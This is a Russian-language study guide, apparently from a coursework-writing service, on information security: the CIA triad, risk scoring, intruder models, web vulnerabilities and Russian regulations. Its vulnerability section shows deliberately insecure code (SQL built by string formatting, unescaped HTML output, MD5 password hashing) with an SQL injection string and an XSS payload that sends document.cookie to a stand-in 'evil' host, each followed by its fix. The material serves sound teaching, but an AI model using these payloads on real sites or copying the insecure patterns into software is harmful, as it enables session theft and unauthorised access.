Информационная безопасность: угрозы и защита

Триада конфиденциальности, целостности и доступности, классификация угроз, модель нарушителя, типовые уязвимости веб-приложений, меры защиты и нормативная база.

Курсовая по информационной безопасности почти всегда строится по одной схеме: описать объект защиты, составить модель угроз и нарушителя, предложить меры и обосновать их достаточность. Разберём каждый шаг.

Три свойства информации

СвойствоЧто означаетПример нарушения
КонфиденциальностьДоступ только у тех, кому положеноУтечка базы клиентов
ЦелостностьДанные не изменены незаметноПодмена суммы в платёжке
ДоступностьРесурс работает, когда нуженDDoS-атака на сервис

Эти три свойства конфликтуют между собой. Шифрование усиливает конфиденциальность, но при потере ключа убивает доступность. Резервные копии повышают доступность, но создают новые точки утечки. Проектирование защиты — всегда поиск баланса, и это стоит явно написать в работе.

Классификация угроз

Оценка риска:

  R = P · U

P — вероятность реализации угрозы, U — ущерб

Качественная шкала для курсовой:
  вероятность: низкая (1), средняя (2), высокая (3)
  ущерб:       незначительный (1), умеренный (2), критический (3)

  R = 1-2  — риск принимается
  R = 3-4  — требуются меры при разумной стоимости
  R = 6-9  — меры обязательны

Правило соразмерности: стоимость защиты не должна
превышать стоимость защищаемого актива.

Модель нарушителя

ТипВозможностиМотивТиповые действия
Внешний неквалифицированныйГотовые инструменты, доступ из интернетаЛюбопытство, хулиганствоСканирование портов, подбор паролей
Внешний квалифицированныйСобственные средства, времяВыгода, заказЦелевые атаки, эксплуатация уязвимостей
Внутренний пользовательЛегальный доступ к части данныхОбида, выгода, халатностьКопирование данных, обход правил
Внутренний администраторПолный доступ к системеВыгода, шантажИзменение прав, удаление журналов
РазработчикДоступ к исходному кодуВыгода, диверсияЗакладки, недокументированные функции
Администратор — самый опасный нарушитель именно потому, что имеет право делать всё и может стереть следы. Защита строится не на запрете, а на разделении полномочий, независимом журналировании и принципе четырёх глаз для критичных операций.

Уязвимости веб-приложений

# SQL-инъекция: склейка запроса из пользовательского ввода
login = request.form['login']
cursor.execute(f"SELECT * FROM users WHERE login = '{login}'")
# Ввод: admin' OR '1'='1  →  условие всегда истинно

# Правильно — параметризованный запрос
cursor.execute('SELECT * FROM users WHERE login = %s', (login,))


# XSS: вывод пользовательских данных без экранирования
return f'<div>Привет, {name}</div>'
# Ввод: <script>fetch('//evil/'+document.cookie)</script>

# Правильно — экранирование или шаблонизатор с автоэкранированием
from html import escape
return f'<div>Привет, {escape(name)}</div>'


# Хранение пароля
hashlib.md5(password.encode()).hexdigest()      # взламывается за секунды

# Правильно — медленная функция с солью
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
bcrypt.checkpw(attempt.encode(), hashed)
УязвимостьСутьЗащита
Инъекции (SQL, командные)Пользовательский ввод попадает в кодПараметризация, валидация, минимум прав у пользователя БД
Сломанная аутентификацияСлабые пароли, предсказуемые сессииХеширование bcrypt, ограничение попыток, двухфакторность
XSSСкрипт исполняется в браузере жертвыЭкранирование вывода, Content-Security-Policy
Небезопасная конфигурацияПароли по умолчанию, открытая отладкаЧек-лист развёртывания, отключение отладки
Отсутствие контроля доступаПроверка прав только в интерфейсеПроверка на сервере при каждом запросе
Уязвимые зависимостиСтарые библиотеки с известными дырамиОбновления, сканирование зависимостей
Недостаточное логированиеАтаку невозможно обнаружить и разобратьЦентрализованные журналы, защита от изменения

Средства защиты

Принципы, которые стоит указать в обоснование мер:

  Минимальные привилегии — каждому ровно те права, что нужны
  Эшелонированная защита — несколько независимых рубежей
  Отказ по умолчанию — что не разрешено явно, запрещено
  Разделение обязанностей — критичное действие требует двух людей
  Полный контроль доступа — проверка при каждом обращении, а не один раз
  Простота — сложную систему невозможно проверить на безопасность

Нормативная база

ДокументО чём
152-ФЗПерсональные данные: обязанности оператора, согласие, уведомление
149-ФЗИнформация, информационные технологии и защита информации
187-ФЗКритическая информационная инфраструктура
Приказ ФСТЭК № 21Меры защиты персональных данных по уровням защищённости
Приказ ФСТЭК № 17Защита информации в государственных системах
ГОСТ Р ИСО/МЭК 27001Система управления информационной безопасностью
ГОСТ Р 51583Порядок создания защищённых систем

Структура раздела в курсовой

  1. Описание объекта защиты: какие данные, где хранятся, кто с ними работает.
  2. Классификация информации по конфиденциальности и определение уровня защищённости.
  3. Модель угроз: перечень актуальных угроз с обоснованием актуальности.
  4. Модель нарушителя: типы, возможности, мотивы.
  5. Оценка рисков в табличной форме: угроза, вероятность, ущерб, риск.
  6. Меры защиты по каждому значимому риску с указанием типа меры.
  7. Оценка остаточного риска после внедрения мер.
  8. Оценка стоимости мер и сопоставление с величиной предотвращаемого ущерба.
Главная ошибка таких работ — перечисление всех известных мер защиты без привязки к угрозам. Правильная логика обратная: каждая мера должна закрывать конкретную угрозу из вашей модели, а угроза, не закрытая ничем, честно отмечается как принятый риск.

Частые вопросы

Чем модель угроз отличается от модели нарушителя?

Модель угроз описывает, что может произойти с информацией, модель нарушителя — кто это может сделать и какими средствами. Вторая нужна, чтобы оценить реалистичность угроз: атака, требующая ресурсов спецслужбы, для небольшой фирмы неактуальна.

Можно ли достичь полной безопасности?

Нет. Абсолютно защищённая система — это выключенная система в сейфе. Задача состоит в снижении рисков до приемлемого уровня при разумных затратах, и формулировать вывод работы следует именно так.

Почему MD5 нельзя использовать для паролей?

Он очень быстрый — современная видеокарта перебирает миллиарды хешей в секунду, поэтому пароль восстанавливается за минуты. bcrypt и Argon2 намеренно медленные и с солью: перебор становится экономически бессмысленным.

Читайте также

Сделаем работу по этой теме

Опишите задачу — ответим в течение 15 минут в личных сообщениях ВКонтакте, назовём срок и цену. Предоплаты за оценку нет.

  • Оценка заявки бесплатно
  • Правки по замечаниям преподавателя
  • Работы по всем техническим и IT-дисциплинам

Нажимая кнопку, вы соглашаетесь на обработку указанных данных для ответа на заявку.

Написать